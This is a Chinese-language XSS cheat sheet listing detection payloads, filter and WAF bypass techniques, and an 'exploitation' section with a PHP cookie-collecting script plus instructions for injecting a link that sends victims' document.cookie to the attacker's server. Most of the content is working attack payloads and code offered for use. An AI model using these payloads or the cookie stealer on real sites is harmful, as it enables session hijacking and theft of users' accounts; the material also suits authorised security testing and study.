跳到主要内容

XSS

漏洞检测

常用的代码:

<script>alert(xss)</script> 
<script>alert(/xss/)</script>
'><script>alert(xss)</script>
"><script>alert(xss)</script>
<scr<script>ipt>alert(xss)</scr</script>ipt>
<ScRiPt>alert(xss)</ScRiPt>
'><ScRiPt>alert(xss)</ScRiPt>
"<ScRiPt>alert(xss)</ScRiPt>
<javascript:alert(xss)>
' onfocus=javascript:alert(xss)>
"> <a href=javascript:alert('xss') > xss</a>
"> <a HrEf=javascript:alert('xss') > xss</a>
<img src=1 onerror=alert(xss)>
<Img src=1 onErrOr=AleRt(xss)>
<IMG SRC="" onerror="alert('XSS')">
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
<svg><script>alert&#40/1/&#41</script>
&#60;script&#62;alert(xss)&#60;/script&#62;

针对waf等过滤拦截自行FUZZ即可。

漏洞利用

xss.php

<?
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$ip = $_SERVER['REMOTE_ADDR'];
$file=fopen('cookie.txt','a');
fwrite($file,"地址为:".$referer."\r\n"."cookie为:".$cookie."\r\n"."ip为:".$ip."\r\n"."****************************************"."\r\n");
fclose($file);
?>

将上面代码保存为你的网站页面,例如:127.0.0.1/xss.php,在可能出现xss的地方使用标签插入你的链接带上?cookie=document.cookie就可以了。

XSS绕过

1.单引号过滤绕过

在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通 过一些类似 add_slashes 的函数可以实现,这个就是转义字符,我们先前的代码就会变成这样:

 <INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>

有一些方法可以继续,但是要看过滤的那个函数是怎么放的了。其中一个方法就是使用字符实体,学过 html 的都知道,就是一些特殊字符会用一些固有的符号组合来表示,举个例子,你不能用<>表示大于和小于, 因为这被解释为 html 标签,但是,你如果要用,可以用下面的来代替。

1   2   3   4
&#34; &quot; “ 双引号
&#38; &amp; & &符号
&#60; &lt; < 小于号
&#62; &gt; > 大于号

使用&quot;或者&#34; 来代替我们的双引号,有时候可以绕过过滤

例子:

<script>alert("XSS")</script>
<script>alert(&quot;XSS&quot;)</script>
<script>alert(&#38;XSS&#38;)</script>

如果这都被过滤了。那我们可以使用 JavaScript 的 fromCharCode 函数,这个函数把指定的 Unicode值转换成字符串

例子

<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>

2.<SCRIPT>过滤绕过

有些过滤器会过滤到<script>标签,那上面的例子就都废了,但是。还是有方法插入 javascript 的。我们看看事件处理器的例子。

<BODY onload="alert('XSS')">

在 html 里啊。这个 Onload 关键字就是一个事件,其他的所有标签都没有这个属性,但是 Body 标签是有的。但是,有一定的局限性,如果 onload 事件在你的代码之前已经被处理了。那就不会触发了。。不过我们可以继续看看 onerror 事件处理。

<IMG SRC="" onerror="alert('XSS')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

注意看,图片没有指定,也就是出错了。Onerror 这个事件就会发茶。引发 XSS 漏洞,没有用<script> 标签哦。

如果是把<script></script>标签过滤掉,那么可以用

<scr<script>ipt>alert(1)</scr<script>ipt>

3.(Input)标签属性绕过

<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'>

闭合<input>

'><SCRIPT>alert("XSS")</SCRIPT>

现在我们的代码执行了。因为我们闭合了前面的 html 标签,就触发了 XSS,但是,你可能会发现,页面上会显示一个多出来的单引号,为什么,因为后面的那个原来的单引号没有匹配,我们继续修改我们的代码。

'><SCRIPT>alert("XSS")</SCRIPT><xss a='

所有的输入就会变成这样:

<INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><xss a=''>

Javascript 代码就注入了。<xss a=”>这个没什么意义,你可以自己改,但是符合 html 的标准, 页面不会出错。

4.大小写混用绕过

<iMgSRC = "JavaScript:alert(0);">

不使用引号或者构造全角字符也能扰乱过滤规则

还有像CSS中/**/会被浏览器忽略,\和\0同样或被浏览器忽略,同样可以用来绕过:

<img src ="java/*javascript:alert(‘xss‘)*/script:alert(1);">

5.magic_quotes_gpc绕过

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> 

6.分号引号过滤绕过

<IMG SRC=javascript:alert('XSS')>    

7.括号被过滤绕过

当括号被过滤的时候可以使用throw来绕过

<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">

以上两个测试向量在Chrome跟IE在上面会出现一个“uncaught”的错误,可以用以下的向量:

<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>

8.= ( ) ; :被过滤时绕过

<svg><script>alert&#40/1/&#41</script> // 通杀所有浏览器

opera中可以不闭合

<svg><script>alert&#40 1&#41 // Opera可查